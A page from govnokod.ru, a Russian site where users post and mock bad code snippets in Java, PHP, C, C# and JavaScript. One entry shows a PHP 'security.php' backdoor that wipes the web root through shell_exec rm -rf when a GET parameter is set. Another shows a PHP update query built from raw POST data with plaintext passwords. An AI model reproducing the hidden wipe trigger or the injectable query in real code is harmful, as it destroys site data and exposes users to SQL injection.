Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+68
@Override
public void execute() {
try {
Thread.sleep(1000L);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
for (ClientListener listener : listeners) {
listener.disconnected(this);
}
}
Lure Of Chaos,
12 Февраля 2013
+119
<?php
session_start();
if(empty($_SESSION['login']) or empty($_SESSION['id']) or empty($_SESSION['auth_key']))
{
header("Location: index.php");
}
else
{
$user_name = $_POST['name'];
$user_sname = $_POST['sname'];
$user_gender = $_POST['gender'];
$user_about = $_POST['about'];
$user_phone = $_POST['phone'];
$user_mail = $_POST['email'];
$user_company = $_POST['company'];
$user_company_position = $_POST['position'];
$user_login = $_POST['login'];
$user_password = $_POST['password'];
include 'includes/xd4sw.php';
$update_query = mysql_query("UPDATE users SET user_name='$user_name', user_sname='$user_sname', user_gender='$user_gender',
user_about='$user_about', user_phone='$user_phone', user_mail='$user_mail', user_company='$user_company',
user_company_position='$user_company_position', user_login='$user_login', user_password='$user_password' WHERE user_id=".$_SESSION['id']);
mysql_close($db);
header('Location: settings.php?act=good');
}
?>НА НАХ!!!!
Govnisti_Diavol,
12 Февраля 2013
+136
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Фрилансер защищает себя от неплатежеспособного заказчика xD
Файл лежал на продакшин сервере около года, название файла - security.php
uint,
11 Февраля 2013
+166
var strLabel = "<label for='yyyy' generated='true' class='error'>Чтобы зарегистрироваться, вам должно быть не менее 00 лет.</label>".replace(/00/gi, ageLimit);Автор: samsung
111111,
11 Февраля 2013
+131
void *threadFunc(void *)
{
// ...
pthread_exit( (void*)lTaskId );
return ( (void*)lTaskId );
// ...
}
позабавило.
для непосвященных: return в функции потока аналогичен вызову pthread_exit().
Dummy00001,
11 Февраля 2013
+109
public function __get($name){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){
$class = $this->fields[$name];
$id = (string)$this->vals[$name]['id'];
if(!$this->refsCache[$id])
$this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
return $this->refsCache[$id];
}else
return $this->vals[$name];
}elseif(isset($this->fieldsRev[$name]))
return $this->vals[$name];
else throw new Exception('Not found field "'.$name.'" when reading in model');
}
public function __set($name, $value){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], get_class($value)) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
$this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
else
$this->vals[$name] = $value;
}elseif(isset($this->fieldsRev[$name]))
$this->vals[$name] = $value;
else throw new Exception('Not found field "'.$name.'" when writing in model');
}Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.
haker,
11 Февраля 2013
+141
http://sqlserverplanet.com/troubleshooting/cannot-insert-explicit-value-for-identity-column-in-table-table-when-identity_insert-is-set-to-offПоследний комментарий
denis90,
11 Февраля 2013
+88
//До рефакторинга
static function initConnectOnce(){
$who = get_called_class();
if(!$GLOBALS[$who][class_cllct]){
$db = new DataBase();
$GLOBALS[$who][class_cllct] = $db->selectCollection(get_called_class());
}
return $GLOBALS[$who][class_cllct];
}
//После
public static function initCollectOnce(){
$who = get_called_class();
$cllct = &self::$cacheCollect[$who];
if(!$cllct){
$db = new DataBase();
$cllct = $db->selectCollection($who);
}
return $cllct;
}
Недавно начал рефакторить свой же код. Нашел такой вот незаметный гавнокод...
Для тех кто в танке =)
1. selectCollection(get_called_class()) - зачем вызывать по второму разу, если результат уже есть в переменной $who.
2. $GLOBALS[$who][class_cllct] - немного глюкнуло наверное, когда писал... Логичнее так $GLOBALS[class_cllct][$who].
3. initConnectOnce - тут даже наверное не Connect должно быть, а Collect.
4. Вместо $GLOBALS[$who][class_cllct] лучше(имхо) заюзать статичное свойство для класса.
5. static function initConnectOnce - забыл public описать....
haker,
11 Февраля 2013
+61
public void insert()
{
super.insert();
if (this.ItemId == "")
this = this;
}нарочно не придумаешь
bodeaux,
11 Февраля 2013
+135
namespace CuttingBox
{
class Program
{
static public Tuple<int[], String> getProperty()
{
int[] itemDimensionProperty = new int[3];
String itemColorProperty;
String[] parseResult = new String[4];
parseResult = (Console.ReadLine().Split(' '));
for (int counter = 0; counter < 3; counter++)
{
itemDimensionProperty[counter] = Convert.ToInt32(parseResult[counter]);
}
itemColorProperty = parseResult[3];
Tuple<int[], String> itemProperty = new Tuple<int[], string>(itemDimensionProperty, itemColorProperty);
return itemProperty;
}
static void Main(string[] args)
{
List<Tuple<int[], String>> itemProperty = new List<Tuple<int[], String>>();
itemProperty.Add(getProperty());
int numberOfBoxes = Convert.ToInt32(Console.ReadLine());
for (int counter=1; counter<=numberOfBoxes; counter++){
itemProperty.Add(getProperty());
}
}
}
}Парсим строки правильно...
javanesovsemgovno,
11 Февраля 2013
Follow us!